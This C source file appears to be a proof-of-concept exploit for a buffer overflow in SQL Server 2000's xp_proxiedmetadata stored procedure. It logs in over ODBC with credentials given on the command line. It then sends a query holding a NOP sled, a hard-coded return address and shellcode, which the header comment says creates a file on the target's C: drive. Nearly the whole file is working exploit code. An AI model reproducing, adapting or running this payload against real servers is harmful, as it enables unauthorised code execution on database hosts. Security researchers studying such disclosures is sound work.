// SQL2KOverflow.c
// This code creates a file called 'SQL2KOverflow.txt' in the root of the
// c: drive.


#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>


int Syntax()
{
        printf( "Syntax error. Correct syntax is:\nSQL2KOverflow
<hostname> <username> <password>");
        return 1;
}


int main(int argc, char *argv[])
{
        char szBuffer[1025];
        SWORD     swStrLen;
        SQLHDBC   hdbc;
        SQLRETURN nResult;             
        SQLHANDLE henv;
        HSTMT  hstmt;                      
        SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
        UCHAR query[20000] = "exec xp_proxiedmetadata 'a', '";
        int count;

        if ( argc != 4 )
        {
                return Syntax();
        }

        if ( ( strlen( argv[1] ) > 250 ) ||
                ( strlen( argv[2] ) > 250 )  ||
                ( strlen( argv[3] ) > 250 ) )
                return Syntax();

        strcat( InConnectionString, argv[1] );
        strcat( InConnectionString, ";UID=" );
        strcat( InConnectionString, argv[2] );
        strcat( InConnectionString, ";PWD=" );
        strcat( InConnectionString, argv[3] );
        strcat( InConnectionString, ";DATABASE=master" );

        for ( count = 30; count < 2598; count++ )
                query[count] = (char)0x90;
        
        query[count] = 0;

        // 0x77782548 = wx%H = this works sp0
        strcat( query, "\x48\x25\x78\x77" );
        
        strcat( query,
"\x90\x90\x90\x90\x90\x33\xC0Ph.txthflowhOverhQL2khc:\\STYPP@PHPPPQ\xB8\x8D+\xE
9\x77\xFF\xD0\x33\xC0P\xB8\xCF\x06\xE9\x77\xFF\xD0"
);
        
        strcat( query, "', 'a', 'a'" );


        if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
                {
                        printf("Error SQLAllocHandle");
                        return 0;

                }

        if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
                {
                        printf("Error SQLSetEnvAttr");
                        return 0;

                }


        if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS) 
                {
                        printf("SQLAllocHandle - 2");
                        return 0;
                        
                }

        nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer,  1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);      
        if(( nResult == SQL_SUCCESS ) | ( nResult ==
SQL_SUCCESS_WITH_INFO) )
                {

                        printf("Connected to MASTER database...\n\n");
                        SQLAllocStmt(hdbc,&hstmt);
                }



        if(SQLExecDirect(hstmt,query,SQL_NTS) ==SQL_SUCCESS)
                {
                        printf("\nSQL Query error");

                        return 0;

                }
        printf("Buffer sent...");       
        


return 0;
}